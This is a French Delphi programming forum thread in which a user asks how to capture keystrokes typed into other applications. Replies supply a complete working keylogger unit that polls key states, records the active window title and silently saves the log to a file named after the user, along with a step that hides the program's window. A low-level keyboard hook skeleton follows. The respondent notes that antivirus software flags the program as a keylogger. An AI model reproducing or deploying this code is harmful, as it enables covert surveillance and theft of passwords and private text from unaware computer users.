IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

 Delphi Discussion :

Comment faire pour utiliser ce tutoriel de Hook ?


Sujet :

Delphi

  1. #1
    Membre du Club Avatar de tomy_libre
    Enseignant
    Inscrit en
    Mars 2009
    Messages
    114
    Détails du profil
    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Mars 2009
    Messages : 114
    Points : 48
    Points
    48
    Par défaut Comment faire pour utiliser ce tutoriel de Hook ?
    salut à tous les developpeur , amateurs et professionnels.
    Bain voici mon probleme ,Je veut faire un programme qui capte les touches de clavier meme que mon application n'est pas en premier plan donc j'ai consulter ce tutorial sur le HOOK : iCi.
    qui explique la création de DLL puis le programme principale ,.
    et g rencontré des probleme :
    1.pour le DLL et l'unit FONCTIONS , je les fait dans un projet séparé et le probleme c que je sais pa quel comment je le complie un DLL + un UNIT dans un projet .
    2.comment je fait pour que mon programme détecte les touche clavier meme que l'utilisateur tape sur un autre programme (avoir une copie de lettre tapé en qq sorte).

    et merci d'avance à vous, c grave à vous que je developpe (et je me developpe aussi , lol).

  2. #2
    Membre confirmé
    Homme Profil pro
    Enseignant
    Inscrit en
    Août 2008
    Messages
    666
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Algérie

    Informations professionnelles :
    Activité : Enseignant
    Secteur : Enseignement

    Informations forums :
    Inscription : Août 2008
    Messages : 666
    Points : 643
    Points
    643
    Par défaut
    salut,
    tu peux coder un enregistreur de touches(Key logger) avec ce code,mais les antivirus sont très sensibles à ça.c'est-à dire que ton programme va être intercepté!
    pour le réaliser , tu auras aussi besoin de cette unité:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    unit untOffLineLogger;
     
    interface
     
    uses SysUtils, unit1, Windows;
     
    procedure OLGetLetter;
    function OLShift:Boolean;
    function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
    procedure OLShowLetter(strLetter:string);
    function OLActiveCaption:string;
     
    implementation
     
    var
       cWindow:string;
     
    const cr_lf = chr(13)+chr(10);
     
    procedure OLGetLetter;
    var
    j:Integer;
    a:string;
    begin
    //Vérifie si lettres' A '..' Z '..' a '..' z ' sont pressé
    //essentiellement pour voir si c'est un A ou vérifier l'état des bouchons et les touches shift
    for j:=65 to 90 do
    if Odd(GetAsyncKeyState(j)) then
    if Odd(GetKeyState(VK_CAPITAL)) then
    if GetKeyState(VK_SHIFT)<0 then
    OLShowLetter(LowerCase(Chr(j)))
    else
    OLShowLetter(UpperCase(Chr(j)))
    else
    if GetKeyState(VK_SHIFT)<0 then
    OLShowLetter(UpperCase(Chr(j)))
    else
    OLShowLetter(LowerCase(Chr(j)));
     
     
    //Vérifiez si numpab est pressé
    for j:=96 to 105 do
    if Odd(GetAsyncKeyState(j)) then
    OLShowLetter(IntToStr((j - 97) + 1));
    //Vérifiez si F1 à F24 est pressé
    for j:=112 to 135 do
    if Odd(GetAsyncKeyState(j)) then
    OLShowLetter('{F' + IntToStr(j - 112 + 1) + '}');
    //Vérifiez si le nombre de 0 à 9 est pressé
    for j:=48 to 57 do
    if Odd(GetAsyncKeyState(j)) then
    if OLShift then
    begin
    case j - 48 of
    1: OLShowLetter('!');
    2: OLShowLetter('@');
    3: OLShowLetter('#');
    4: OLShowLetter('$');
    5: OLShowLetter('%');
    6: OLShowLetter('^');
    7: OLShowLetter('&');
    8: OLShowLetter('*');
    9: OLShowLetter('(');
    0: OLShowLetter(')');
    end;
    end
    else
    OLShowLetter(IntToStr(j - 48));
    if Odd(GetAsyncKeyState(VK_BACK)) then form1.Memo1.Text:=Copy(form1.Memo1.Text,1,Length(form1.Memo1.Text)-1);
    if Odd(GetAsyncKeyState(VK_TAB)) then OLShowLetter('{TAB}');
    if Odd(GetAsyncKeyState(VK_RETURN)) then OLShowLetter(#13#10);
     
    if Odd(GetAsyncKeyState(VK_SHIFT)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_CONTROL)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_MENU)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_PAUSE)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_ESCAPE)) then OLShowLetter('{ESC}');
    if Odd(GetAsyncKeyState(VK_SPACE)) then OLShowLetter(' ');
    if Odd(GetAsyncKeyState(VK_END)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_HOME)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_LEFT)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_RIGHT)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_UP)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_DOWN)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_INSERT)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_MULTIPLY)) then OLShowLetter('*');
    if Odd(GetAsyncKeyState(VK_ADD)) then OLShowLetter('+');
    if Odd(GetAsyncKeyState(VK_SUBTRACT)) then OLShowLetter('-');
    if Odd(GetAsyncKeyState(VK_DECIMAL)) then OLShowLetter('.');
    if Odd(GetAsyncKeyState(VK_DIVIDE)) then OLShowLetter('/');
    if Odd(GetAsyncKeyState(VK_NUMLOCK)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_CAPITAL)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_SCROLL)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_DELETE)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_PRIOR)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_NEXT)) then OLShowLetter('');
    if Odd(GetAsyncKeyState(VK_PRINT)) then OLShowLetter('{PRINT SCREEN}');
    if OLMoreChars($BA,':',';',a) then OLShowLetter(a);
    if OLMoreChars($BB,'+','=',a) then OLShowLetter(a);
    if OLMoreChars($BC,'<',',',a) then OLShowLetter(a);
    if OLMoreChars($BD,'_','-',a) then OLShowLetter(a);
    if OLMoreChars($BE,'>','.',a) then OLShowLetter(a);
    if OLMoreChars($BF,'?','/',a) then OLShowLetter(a);
    if OLMoreChars($C0,'~','`',a) then OLShowLetter(a);
    if OLMoreChars($DB,'{','[',a) then OLShowLetter(a);
    if OLMoreChars($DC,'|','\',a) then OLShowLetter(a);
    if OLMoreChars($DD,'}',']',a) then OLShowLetter(a);
    if OLMoreChars($DE,'"','''',a) then OLShowLetter(a);
       {PrintScreen}
    end;
     
    function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
    begin
       OLMoreChars:=True;
       if Odd(GetAsyncKeyState(CharNumber)) then
       begin
          if OLShift then
             Answer:=TruePart
          else
             Answer:=FalsePart;
          Exit;
       end;
       OLMoreChars:=False;
    end;
     
    function OLShift:Boolean;
    begin
       OLShift:=GetAsyncKeyState(VK_SHIFT) <> 0;
    end;
     
    procedure OLShowLetter(strLetter:string);
    const
      cnMaxUserNameLen = 254;
    var
      cActive:string;
      sUserName     : string;
      dwUserNameLen : DWord;
    begin
      dwUserNameLen := cnMaxUserNameLen-1;
      SetLength( sUserName, cnMaxUserNameLen );
      GetUserName(PChar(sUserName), dwUserNameLen);
      SetLength(sUserName, dwUserNameLen);
     
      cActive:=OLActiveCaption;
    if cWindow <> cActive then
    begin
    cWindow:=cActive;
    strLetter:=cr_lf+'porté windows:' + cWindow + cr_lf + strLetter;
    end;
    form1.Memo1.Text:=form1.Memo1.Text + strLetter;
    if DirectoryExists('c:\') then
    form1.Memo1.Lines.SaveToFile('c:\' + sUserName + '.NBL')//NBL extension du fichier
    end;
     
    function OLActiveCaption:string;
    var
       Handle:THandle;
       Len:LongInt;
       Title:string;
    begin
       Handle:=GetForegroundWindow;
       Len:=GetWindowTextLength(Handle) + 1;
       SetLength(Title,Len);
       GetWindowText(Handle,PChar(Title),Len);
       OLActiveCaption:=TrimRight(Title);
    end;
     
    end.
    crée une nouvelle fiche et pose un Timer et un Memo.dans l'événement du Timer(interval:"20") mets ça:
    dans "implementation" mets:"uses
    untOffLineLogger"

    et dans l'événement "oncreate ,tu mets ça:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Application.ShowMainForm := false;
    if DirectoryExists('c:\') = true then
      if DirectoryExists('c:\') = false then
      begin
        CreateDir('c:\Enregistrer');
      end;
    end;
    en lançant cette application, mon antivirus m'informe que c'est un Key logger!

    A+

    NABIL74

  3. #3
    Membre du Club Avatar de tomy_libre
    Enseignant
    Inscrit en
    Mars 2009
    Messages
    114
    Détails du profil
    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Mars 2009
    Messages : 114
    Points : 48
    Points
    48
    Par défaut
    merci bien , je test et je re ....

  4. #4
    Rédacteur/Modérateur
    Avatar de Andnotor
    Inscrit en
    Septembre 2008
    Messages
    5 744
    Détails du profil
    Informations personnelles :
    Localisation : Autre

    Informations forums :
    Inscription : Septembre 2008
    Messages : 5 744
    Points : 13 303
    Points
    13 303
    Par défaut
    Tu peux aussi faire un hook de bas niveau sans utiliser de DLL:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    type
      TKBDLLHOOKSTRUCT = packed record
        Code        :dword;
        ScanCode    :dword;
        Flags       :dword;
        Time        :dword;
        dwExtraInfo :DWORD;
      end;
     
    const
      WH_KEYBOARD_LL = 13;
     
    var
      KbHook :HHook;
     
    function KeyboardProc(Code: integer; wParam: WPARAM; lParam: LPARAM):LRESULT; stdcall;
    begin
      with TKBDLLHOOKSTRUCT(pointer(lParam)^) do
      begin
        //Ton traitement
      end;
     
      Result := CallNextHookEx(KbHook, Code, wParam, lParam);
    end;
     
    procedure StartHook;
    begin
      KbHook := SetWindowsHookEx(WH_KEYBOARD_LL, @KeyboardProc, hInstance, 0);
    end;
     
    procedure StopHook;
    begin
      UnhookWindowsHookEx(KbHook);
    end;

  5. #5
    Membre du Club Avatar de tomy_libre
    Enseignant
    Inscrit en
    Mars 2009
    Messages
    114
    Détails du profil
    Informations professionnelles :
    Activité : Enseignant

    Informations forums :
    Inscription : Mars 2009
    Messages : 114
    Points : 48
    Points
    48
    Par défaut
    Citation Envoyé par Andnotor Voir le message
    Tu peux aussi faire un hook de bas niveau sans utiliser de DLL:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    type
      TKBDLLHOOKSTRUCT = packed record
        Code        :dword;
        ScanCode    :dword;
        Flags       :dword;
        Time        :dword;
        dwExtraInfo :DWORD;
      end;
     
    const
      WH_KEYBOARD_LL = 13;
     
    var
      KbHook :HHook;
     
    function KeyboardProc(Code: integer; wParam: WPARAM; lParam: LPARAM):LRESULT; stdcall;
    begin
      with TKBDLLHOOKSTRUCT(pointer(lParam)^) do
      begin
        //Ton traitement
      end;
     
      Result := CallNextHookEx(KbHook, Code, wParam, lParam);
    end;
     
    procedure StartHook;
    begin
      KbHook := SetWindowsHookEx(WH_KEYBOARD_LL, @KeyboardProc, hInstance, 0);
    end;
     
    procedure StopHook;
    begin
      UnhookWindowsHookEx(KbHook);
    end;
    merci bien pour cette réponse, il me parrait plus simpe , mais stp comment je récupère le bouton cliqué ???

  6. #6
    Rédacteur/Modérateur
    Avatar de Andnotor
    Inscrit en
    Septembre 2008
    Messages
    5 744
    Détails du profil
    Informations personnelles :
    Localisation : Autre

    Informations forums :
    Inscription : Septembre 2008
    Messages : 5 744
    Points : 13 303
    Points
    13 303
    Par défaut
    Code correspond au Virtual Key code (VK_xxxxx).

    Voila le lien sur la structure KBDLLHOOKSTRUCT.

Discussions similaires

  1. [VS][c#]comment faire pour utiliser FTPFactory ?
    Par ferradji dans le forum Windows Forms
    Réponses: 2
    Dernier message: 23/04/2007, 15h37
  2. Réponses: 7
    Dernier message: 11/10/2006, 13h35
  3. Comment faire pour utiliser un scanner ?
    Par magic8392 dans le forum VB 6 et antérieur
    Réponses: 16
    Dernier message: 24/09/2006, 12h39
  4. Réponses: 7
    Dernier message: 08/06/2006, 22h51

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo